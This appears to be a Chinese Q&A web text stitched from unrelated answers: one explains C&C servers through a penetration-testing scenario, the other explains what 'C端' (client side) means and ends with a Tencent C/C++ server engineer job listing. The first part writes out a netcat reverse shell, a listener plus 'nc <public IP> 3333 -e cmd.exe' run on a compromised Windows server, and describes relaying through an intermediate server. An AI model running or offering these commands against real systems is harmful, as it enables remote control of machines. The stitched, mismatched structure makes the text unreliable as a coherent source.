什么是C&C服务器

C&C 服务器的全称是 Command and Control Server，翻译过来就是命令和控制服务器

通常在做渗透测试的时候，在拿到一个 webshell 的时候，需要对服务器进行提权操作，如果是一台 windows 的服务器，提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权，有些 exp 可以直接在后面加参数，溢出成功之后执行参数中的命令。

而有的 exp 溢出成功之后是返回一个 system 权限的 cmd，这时就需要将低权限的 cmd shell 反弹回本地，这里用 nc 在本地执行：nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接，假设电脑 IP 是公网的，并且 IP 为 114.114.114.114，然后在目标服务器就可以执行：nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地，这时你就可以通过 nc 建立的这个 shell 进行通信，发送你要执行的命令，在远程服务器接收到命令之后执行并将结果返回，这时本机电脑就是一个简易的 C&C 服务器。

扩展资料：

C&C 服务器使目标机器可以接收来自服务器的命令，从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接，所以可以使用一台中转服务器，这台中转服务器有一个公网 IP 地址是：111.111.111.111，这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口，这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

c端是什么意思

C端也就是客户端，是指与服务器相对应，为客户提供本地服务的程序。除了一些只在本地运行的应用程序之外，一般安装在普通的客户机上，需要与服务端互相配合运行。

因特网发展以后，较常用的用户端包括了如万维网使用的网页浏览器，收寄电子邮件时的电子邮件客户端，以及即时通讯的客户端软件等。

C/C++的服务器端，比如我们经常玩的网游，那个服务器端大部分都是C/C++编程的。还有本地连接，网上邻居，ftp协议之类的，基本上windows的客户端网络服务都有对应的服务器。

当然要学习C/C++服务器编程，涉及的方面就比较多了，重要的有网络连接，多线程，数据存储等等的。

你可以参考一下腾讯在C/C++服务器编程工程师的要求。

工作要求：

工作有激情， 认真负责，尽职尽责，沟通协作意识良好，能够承担工作压力，具备良好的学习能力和分析解决问题能力；

全面的软件知识结构(操作系统、数据结构、数据库系统、网络安全)，有两年以上互联网应用开发经验，有无线互联网后台开发经验优先；

熟练使用C/C++语言，熟悉Linux下调试、开发环境，对多线程、缓存系统、高性能、高可用系统有经验者优先；

熟悉TCP/IP协议，能熟练使用网络分析工具分析网络相关的故障，有一定的网络编程经验；

熟悉数据库的设计、使用与基本调优，熟练使用mysql数据库进行业务开发；

熟悉Linux，具备Linux下的系统开发经验；

具备大并发、分布式存储、大容量系统开发运营经验优先。

---